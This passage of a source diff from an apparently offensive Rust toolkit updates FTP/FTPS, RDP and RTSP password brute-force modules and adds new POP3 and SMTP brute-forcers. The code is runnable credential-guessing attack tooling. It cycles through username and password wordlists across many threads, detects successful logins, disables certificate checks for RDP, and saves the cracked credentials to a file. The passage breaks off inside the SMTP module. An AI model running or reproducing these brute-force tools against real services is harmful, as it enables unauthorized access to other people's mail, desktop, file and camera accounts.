log(true, &format!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr));
} else if msg.contains("421") {
// 421 Too many connections
println!("[-] 421 Too many connections, sleeping 2 seconds...");
println!("[-] {} - Server reported too many connections (421). Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
return Err(anyhow!("FTP error: {}", msg));
// Log network errors if verbose, otherwise they might be too noisy
log(true, &format!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
return Err(anyhow!("FTP login error: {}", msg));
}
}
}
}
Err(e) => {
let msg = e.to_string();
if msg.contains("550 SSL/TLS required") {
// fall through
if msg.contains("SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
log(true, &format!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr));
} else if msg.contains("421") {
println!("[-] 421 Too many connections, sleeping 2 seconds...");
println!("[-] {} - Server reported too many connections during connect (421). Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
// Log network errors if verbose
log(true, &format!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
return Err(anyhow!("FTP connection error: {}", msg));
}
}
}
// 2️⃣ Only if needed, try FTPS
log(true, &format!("[i] {} Attempting FTPS login for user '{}'", addr, user));
let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
.await
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
.map_err(|e| {
log(true, &format!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
anyhow!("FTPS base connect failed: {}", e)
})?;
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
@@ -246,7 +305,10 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
ftp_tls = ftp_tls
.into_secure(connector, domain)
.await
.map_err(|e| anyhow!("TLS upgrade failed: {}", e))?;
.map_err(|e| {
log(true, &format!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
anyhow!("TLS upgrade failed: {}", e)
})?;
match ftp_tls.login(user, pass).await {
Ok(_) => {
@@ -256,8 +318,9 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
Err(e) => {
let msg = e.to_string();
if msg.contains("530") {
Ok(false) // Bad login
Ok(false)
} else {
log(true, &format!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
Err(anyhow!("FTPS error: {}", msg))
}
}
@@ -265,11 +328,11 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
}
// === Helpers ===
// === Helpers === (prompt_required, prompt_default, prompt_yes_no, load_lines, log, get_filename_in_current_dir remain unchanged)
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -277,12 +340,12 @@ fn prompt_required(msg: &str) -> Result<String> {
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
}
println!("This field is required.");
println!("{}", "This field is required.".yellow());
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -295,9 +358,9 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -306,15 +369,19 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("Invalid input. Please enter 'y' or 'n'."),
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let file = File::open(path.as_ref()).map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader.lines().filter_map(Result::ok).collect())
Ok(reader
.lines()
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
.filter(|line| !line.is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
@@ -326,6 +393,6 @@ fn log(verbose: bool, msg: &str) {
fn get_filename_in_current_dir(input: &str) -> PathBuf {
Path::new(input)
.file_name()
.map(|n| PathBuf::from(format!("./{}", n.to_string_lossy())))
.map(|name_os_str| PathBuf::from(format!("./{}", name_os_str.to_string_lossy())))
.unwrap_or_else(|| PathBuf::from(input))
}
+2
View File
@@ -7,3 +7,5 @@
pub mod rtsp_bruteforce_advanced;
pub mod rdp_bruteforce;
pub mod enablebruteforce;
pub mod smtp_bruteforce;
pub mod pop3_bruteforce;
@@ -0,0 +1,223 @@
use anyhow::{Result, Context};
use regex::Regex;
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write, Read};
use std::net::{TcpStream, ToSocketAddrs};
use std::sync::{Arc, Mutex};
use std::time::Duration;
use threadpool::ThreadPool;
use crossbeam_channel::unbounded;
use native_tls::TlsConnector;
#[derive(Clone)]
struct Pop3BruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
use_ssl: bool,
}
pub async fn run(target: &str) -> Result<()> {
println!("\n=== POP3 Bruteforce ===\n");
let port = prompt("Port (default 110 for POP3, 995 for POP3S): ").parse().unwrap_or(110);
let username_wordlist = prompt("Username wordlist file: ");
let password_wordlist = prompt("Password wordlist file: ");
let threads = prompt("Threads (default 16): ").parse().unwrap_or(16);
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y");
let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y");
let use_ssl = prompt("Use SSL/TLS (POP3S)? (y/n): ").trim().eq_ignore_ascii_case("y");
let config = Pop3BruteforceConfig {
target: target.to_string(),
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
use_ssl,
};
run_pop3_bruteforce(config)
}
fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
let addr = normalize_target(&config.target, config.port)?;
let host = get_hostname(&config.target);
let usernames = read_lines(&config.username_wordlist)?;
let passwords = read_lines(&config.password_wordlist)?;
if usernames.is_empty() || passwords.is_empty() {
return Err(anyhow::anyhow!("Empty user or pass wordlist."));
}
let found = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(Mutex::new(false));
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
if config.full_combo {
for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
} else if usernames.len() == 1 {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
} else if passwords.len() == 1 {
for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
} else {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
}
drop(tx);
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let host = host.clone();
let stop_flag = Arc::clone(&stop_flag);
let found = Arc::clone(&found);
let config = config.clone();
pool.execute(move || {
while let Ok((user, pass)) = rx.recv() {
if *stop_flag.lock().unwrap() { break; }
if config.verbose { println!("[*] Trying {}:{}", user, pass); }
let result = if config.use_ssl {
try_pop3s_login_verbose(&addr, &host, &user, &pass, config.verbose)
} else {
try_pop3_login_verbose(&addr, &user, &pass, config.verbose)
};
match result {
Ok(true) => {
println!();
println!("[+] VALID: {}:{}", user, pass);
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
if config.stop_on_success {
*stop_flag.lock().unwrap() = true;
while rx.try_recv().is_ok() {}
break;
}
}
Ok(false) => {}
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
}
}
});
}
pool.join();
let found = found.lock().unwrap();
if found.is_empty() {
println!("[-] No valid credentials.");
} else {
println!();
println!("[+] Found:");
for (u,p) in found.iter() { println!("{}:{}", u, p); }
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
let f = prompt("Filename: ");
save_results(&f, &found)?;
println!("[+] Saved to {}", f);
}
}
Ok(())
}
// Standard POP3 login, plaintext
fn try_pop3_login_verbose(addr: &str, username: &str, password: &str, verbose: bool) -> Result<bool> {
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let mut stream = TcpStream::connect_timeout(&socket, Duration::from_millis(4000)).context("Connect timeout")?;
stream.set_read_timeout(Some(Duration::from_millis(4000))).ok();
stream.set_write_timeout(Some(Duration::from_millis(4000))).ok();
pop3_session(&mut stream, username, password, verbose)
}
// POP3S (SSL/TLS)
fn try_pop3s_login_verbose(addr: &str, host: &str, username: &str, password: &str, verbose: bool) -> Result<bool> {
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(4000)).context("Connect timeout")?;
let connector = TlsConnector::new().unwrap();
let mut stream = connector.connect(host, stream).context("SSL connect fail")?;
stream.get_ref().set_read_timeout(Some(Duration::from_millis(4000))).ok();
stream.get_ref().set_write_timeout(Some(Duration::from_millis(4000))).ok();
pop3_session(&mut stream, username, password, verbose)
}
// Shared POP3 session logic for both plain and SSL
fn pop3_session<S: Read + Write>(stream: &mut S, username: &str, password: &str, verbose: bool) -> Result<bool> {
let mut buf = [0u8; 4096];
// Banner
let n = stream.read(&mut buf)?;
let banner = String::from_utf8_lossy(&buf[..n]);
if verbose { print!("-> {}\n", banner.trim_end()); }
if !banner.to_ascii_lowercase().contains("+ok") {
return Err(anyhow::anyhow!("No +OK banner: {}", banner));
}
// USER
let user_cmd = format!("USER {}\r\n", username);
stream.write_all(user_cmd.as_bytes())?;
if verbose { print!("<- {}", user_cmd); }
let n = stream.read(&mut buf)?;
let resp = String::from_utf8_lossy(&buf[..n]);
if verbose { print!("-> {}\n", resp.trim_end()); }
if !resp.to_ascii_lowercase().contains("+ok") {
return Ok(false);
}
// PASS
let pass_cmd = format!("PASS {}\r\n", password);
stream.write_all(pass_cmd.as_bytes())?;
if verbose { print!("<- {}", pass_cmd); }
let n = stream.read(&mut buf)?;
let resp = String::from_utf8_lossy(&buf[..n]);
if verbose { print!("-> {}\n", resp.trim_end()); }
// Hardened login detection:
let reply = resp.to_ascii_lowercase();
if reply.contains("+ok")
&& !reply.contains("error")
&& !reply.contains("fail")
&& !reply.contains("denied")
&& !reply.contains("invalid")
&& !reply.contains("authentication required")
&& !reply.contains("locked") {
// Only consider true success if reply says +OK and has no error/fail/invalid/denied
if verbose {
stream.write_all(b"STAT\r\n").ok();
let n = stream.read(&mut buf).unwrap_or(0);
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
stream.write_all(b"LIST\r\n").ok();
let n = stream.read(&mut buf).unwrap_or(0);
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
stream.write_all(b"QUIT\r\n").ok();
let n = stream.read(&mut buf).unwrap_or(0);
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
} else {
stream.write_all(b"QUIT\r\n").ok();
}
return Ok(true);
}
Ok(false)
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Open: {}", path))?;
Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
}
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
Ok(())
}
fn prompt(msg: &str) -> String {
print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string()
}
fn normalize_target(host: &str, port: u16) -> Result<String> {
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
let t = host.trim();
let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
let addr = cap.get(1).unwrap().as_str();
let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
}
fn get_hostname(target: &str) -> String {
if let Some(idx) = target.find(':') { target[..idx].trim_matches('[').trim_matches(']').to_string() } else { target.trim_matches('[').trim_matches(']').to_string() }
}
+117 -86
View File
@@ -1,4 +1,5 @@
use anyhow::Result;
use colored::*;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
@@ -7,7 +8,7 @@ use std::{
};
use tokio::{
process::Command,
sync::Mutex,
sync::{Mutex, Semaphore},
time::{sleep, Duration},
};
@@ -19,119 +20,137 @@ pub async fn run(target: &str) -> Result<()> {
let input = prompt_default("RDP Port", "3389")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
Err(_) => println!("Invalid port. Please enter a number."),
}
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let usernames_file_path = prompt_required("Username wordlist path")?;
let passwords_file_path = prompt_required("Password wordlist path")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
_ => println!("Invalid number. Must be greater than 0."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "rdp_results.txt")?)
Some(prompt_default("Output file name", "rdp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
let addr = format_socket_address(target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let users = load_lines(&usernames_file_path)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let mut idx = 0;
for pass in pass_lines {
if *stop.lock().await {
break;
let passwords = load_lines(&passwords_file_path)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut handles = vec![];
let mut user_cycle_idx = 0;
'password_loop: for pass in passwords {
if *stop_signal.lock().await {
break 'password_loop;
}
let userlist = if combo_mode {
let current_users_for_this_pass = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
let user_for_this_pass = users[user_cycle_idx % users.len()].clone();
user_cycle_idx += 1;
vec![user_for_this_pass]
};
let mut handles = vec![];
for user in userlist {
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
for user in current_users_for_this_pass {
if *stop_signal.lock().await {
break 'password_loop; // Break outer loop if stopping
}
let permit = Arc::clone(&semaphore).acquire_owned().await?;
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let handle = tokio::spawn(async move {
if *stop.lock().await {
let _permit_guard = permit; // Permit dropped when task finishes
if *stop_signal_clone.lock().await {
return;
}
match try_rdp_login(&addr, &user, &pass).await {
match try_rdp_login(&addr_clone, &user_clone, &pass_clone).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
println!("[+] SUCCESS: {} -> {}:{}", addr_clone, user_clone, pass_clone);
let mut found = found_credentials_clone.lock().await;
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_on_success {
*stop.lock().await = true;
*stop_signal_clone.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
log(verbose, &format!("[-] ATTEMPT: {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
log(verbose, &format!("[!] ERROR for {}:{}/{}: {}", addr_clone, user_clone, pass_clone, e));
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}
for h in handles {
let _ = h.await;
}
idx += 1;
}
let creds = found.lock().await;
for handle in handles {
handle.await?; // Propagate JoinErrors if any task panicked
}
let creds = found_credentials.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
println!("\n[+] Valid credentials found:");
for (host_addr, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host_addr, user, pass);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
match File::create(&filename) {
Ok(mut file) => {
for (host_addr, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
eprintln!("[!] Error writing to result file: {}", filename.display());
break;
}
}
println!("[+] Results saved to '{}'", filename.display());
}
Err(e) => {
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
}
}
println!("[+] Results saved to '{}'", filename.display());
}
}
@@ -144,10 +163,11 @@ async fn try_rdp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
.arg(format!("/u:{}", user))
.arg(format!("/p:{}", pass))
.arg("/cert:ignore")
.arg("/timeout:5000")
.arg("/timeout:5000")
.arg("+auth-only") // Attempt authentication without full desktop session
.arg("/log-level:OFF")
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::piped())
.stderr(std::process::Stdio::null()) // Suppress stderr as well for cleaner output unless specific errors are parsed
.spawn()?;
let status = child.wait().await?;
@@ -156,37 +176,37 @@ async fn try_rdp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
println!("{}", "This field is required. Please provide a value.".yellow());
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
default_val.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
let options = if default_yes { "(Y/n)" } else { "(y/N)" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
print!("{}", format!("{} {} : ", msg, options).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
@@ -197,18 +217,20 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
println!("{}", "Invalid input. Please enter 'y', 'yes', 'n', or 'no'.".yellow());
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let file = File::open(path.as_ref())
.map_err(|e| anyhow::anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty())
.collect())
}
@@ -218,23 +240,32 @@ fn log(verbose: bool, msg: &str) {
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path = Path::new(input_path_str);
let filename_component = path
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
.map(|os_str| os_str.to_string_lossy())
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str)); // Fallback to input if no filename part
let final_name = if filename_component.is_empty()
|| filename_component == "."
|| filename_component == ".."
|| filename_component.contains('/') // Ensure it's not a path segment
|| filename_component.contains('\\')
{
"rdp_brute_results.txt" // A robust default filename
} else {
filename_component.as_ref()
};
PathBuf::from(format!("./{}", final_name))
}
// —— updated helper to handle any number of brackets ——
fn format_socket_address(ip: &str, port: u16) -> String {
// Strip all existing brackets from the ends, no matter how many layers
let trimmed = ip.trim_matches(|c| c == '[' || c == ']').to_string();
// If it still contains a colon, assume IPv6 and wrap in one pair of brackets
if trimmed.contains(':') {
format!("[{}]:{}", trimmed, port)
let trimmed_ip = ip.trim_matches(|c| c == '[' || c == ']');
if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") { // Basic IPv6 check, avoid re-bracketing if port already there
format!("[{}]:{}", trimmed_ip, port)
} else {
format!("{}:{}", trimmed, port)
format!("{}:{}", trimmed_ip, port)
}
}
@@ -1,6 +1,7 @@
use anyhow::{anyhow, Result};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use colored::*;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
@@ -63,12 +64,16 @@ pub async fn run(target: &str) -> Result<()> {
};
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
let paths = if brute_force_paths {
let mut paths = if brute_force_paths {
let paths_file = prompt_required("Path to RTSP paths file")?;
load_lines(&paths_file)?
} else {
vec!["".to_string()]
};
if paths.is_empty() {
println!("[!] RTSP paths list is empty. Falling back to default root path.");
paths.push(String::new());
}
let addr = format!("{}:{}", target, port);
let found = Arc::new(Mutex::new(Vec::new()));
@@ -77,10 +82,20 @@ pub async fn run(target: &str) -> Result<()> {
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
let pass_lines: Vec<_> = BufReader::new(File::open(&passwords_file)?)
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let pass_lines: Vec<String> = BufReader::new(File::open(&passwords_file)?)
.lines()
.filter_map(Result::ok)
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
.filter(|line| !line.is_empty())
.collect();
if pass_lines.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let mut idx = 0;
for pass in pass_lines {
@@ -295,7 +310,7 @@ async fn try_rtsp_login(
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -303,12 +318,12 @@ fn prompt_required(msg: &str) -> Result<String> {
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
}
println!("This field is required.");
println!("{}", "This field is required.".yellow());
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -319,7 +334,7 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
print!("{}", format!("{} (y/n) [{}]: ", msg, default).cyan().bold());
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -327,7 +342,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("Invalid input. Please enter 'y' or 'n'."),
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
}
}
}
@@ -0,0 +1,217 @@
use anyhow::{Result, Context};
use regex::Regex;
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write};
use std::net::{TcpStream, ToSocketAddrs};
use std::sync::{Arc, Mutex};
use std::time::Duration;
use telnet::{Telnet, Event};
use threadpool::ThreadPool;
use crossbeam_channel::unbounded;
#[derive(Clone)]
struct SmtpBruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
}
pub async fn run(target: &str) -> Result<()> {
println!("\n=== SMTP Bruteforce ===\n");
let port = prompt("Port (default 25): ").parse().unwrap_or(25);
let username_wordlist = prompt("Username wordlist file: ");
let password_wordlist = prompt("Password wordlist file: ");
let threads = prompt("Threads (default 8): ").parse().unwrap_or(8);
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y");
let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y");
let config = SmtpBruteforceConfig {
target: target.to_string(),
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
};
run_smtp_bruteforce(config)
}
fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
let addr = normalize_target(&config.target, config.port)?;
let usernames = read_lines(&config.username_wordlist)?;
let passwords = read_lines(&config.password_wordlist)?;
if usernames.is_empty() || passwords.is_empty() {
return Err(anyhow::anyhow!("Empty user or pass wordlist."));
}
let found = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(Mutex::new(false));
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
if config.full_combo {
for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
} else if usernames.len() == 1 {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
} else if passwords.len() == 1 {
for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
} else {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
}
drop(tx);
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let stop_flag = Arc::clone(&stop_flag);
let found = Arc::clone(&found);
let config = config.clone();
pool.execute(move || {
while let Ok((user, pass)) = rx.recv() {
if *stop_flag.lock().unwrap() { break; }
if config.verbose { println!("[*] {}:{}", user, pass); }
match try_smtp_login(&addr, &user, &pass) {
Ok(true) => {
println!("[+] VALID: {}:{}", user, pass);
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
if config.stop_on_success {
*stop_flag.lock().unwrap() = true;
while rx.try_recv().is_ok() {}
break;
}
}
Ok(false) => {}
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
}
}
});
}
pool.join();
let found = found.lock().unwrap();
if found.is_empty() {
println!("[-] No valid credentials.");
} else {
println!("[+] Found:");
for (u,p) in found.iter() { println!("{}:{}", u, p); }
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
let f = prompt("Filename: ");
save_results(&f, &found)?;
println!("[+] Saved to {}", f);
}
}
Ok(())
}
/// Try login with both AUTH PLAIN and AUTH LOGIN, returns Ok(true) if success, Ok(false) if auth fail, Err on connection/protocol error.
fn try_smtp_login(addr: &str, username: &str, password: &str) -> Result<bool> {
use base64::{engine::general_purpose, Engine as _};
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(1500)).context("Connect timeout")?;
stream.set_read_timeout(Some(Duration::from_millis(1500))).ok();
stream.set_write_timeout(Some(Duration::from_millis(1500))).ok();
let mut telnet = Telnet::from_stream(Box::new(stream), 256);
let mut banner_ok = false;
for _ in 0..3 {
let event = telnet.read().context("Banner read error")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
